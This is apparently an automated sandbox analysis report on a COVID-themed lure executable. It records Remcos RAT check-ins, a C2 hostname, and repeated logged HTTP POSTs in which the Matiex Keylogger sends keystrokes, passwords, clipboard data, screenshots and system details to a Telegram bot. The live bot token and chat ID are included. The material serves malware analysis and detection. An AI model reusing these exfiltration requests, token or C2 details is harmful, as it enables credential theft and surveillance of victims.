Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 28_2_00405AFB Sleep,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,getenv,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,FindFirstFileA,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,FindClose,FindNextFileA,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,DeleteFileA,GetLastError,FindNextFileA,FindClose,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,FindClose,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 28_2_004057B6 Sleep,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,getenv,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,FindFirstFileA,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,FindClose,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,FindNextFileA,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,DeleteFileA,GetLastError,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,DeleteFileA,GetLastError,FindNextFileA,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,FindClose,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,FindClose,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic

Snort IDS: 2025637 ET TROJAN Remcos RAT Checkin 23 192.168.2.5:49777 -> 91.193.75.202:40401

Uses the Telegram API (likely for C&C communication)

Show sources

Source: unknown

DNS query: name: api.telegram.org

May check the online IP address of the machine

Show sources

Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	DNS query: name: checkip.dyndns.org

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: tobi12345.hopto.org

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: GET /xml/84.17.52.51 HTTP/1.1Host: freegeoip.appConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/84.17.52.51 HTTP/1.1Host: freegeoip.app
Source: global traffic	HTTP traffic detected: GET /xml/84.17.52.51 HTTP/1.1Host: freegeoip.app
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768030b76e62Host: api.telegram.orgContent-Length: 749Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d97680311208c1Host: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d97680313f54cfHost: api.telegram.orgContent-Length: 833
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768031657ce9Host: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768031a37799Host: api.telegram.orgContent-Length: 828602
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768031fe11b2Host: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d97680321d1006Host: api.telegram.orgContent-Length: 833
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768032c3f656Host: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d976803301f0f4Host: api.telegram.orgContent-Length: 828602
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d976803363b60fHost: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d97680338c3a23Host: api.telegram.orgContent-Length: 833
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768033b00042Host: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768033dfab52Host: api.telegram.orgContent-Length: 828602
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d976803436e938Host: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d976803458492fHost: api.telegram.orgContent-Length: 833
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768034774736Host: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768034a958a7Host: api.telegram.orgContent-Length: 828602
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768034fa6915Host: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768035208feaHost: api.telegram.orgContent-Length: 833
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d97680354451e9Host: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d976803574006eHost: api.telegram.orgContent-Length: 828602
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768035c7735dHost: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768035e8d41dHost: api.telegram.orgContent-Length: 833
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d97680360ef9e8Host: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d976803639e3a2Host: api.telegram.orgContent-Length: 828602
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d976803696e071Host: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768036b84068Host: api.telegram.orgContent-Length: 833
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768036d9a244Host: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d97680372ab0eeHost: api.telegram.orgContent-Length: 828602
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d97680377bc16bHost: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768037d195adHost: api.telegram.orgContent-Length: 833
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768037f2f67aHost: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768038204317Host: api.telegram.orgContent-Length: 828602
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d97680386ef809Host: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d976803892b5ceHost: api.telegram.orgContent-Length: 833
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768038b1b319Host: api.telegram.orgContent-Length: 749
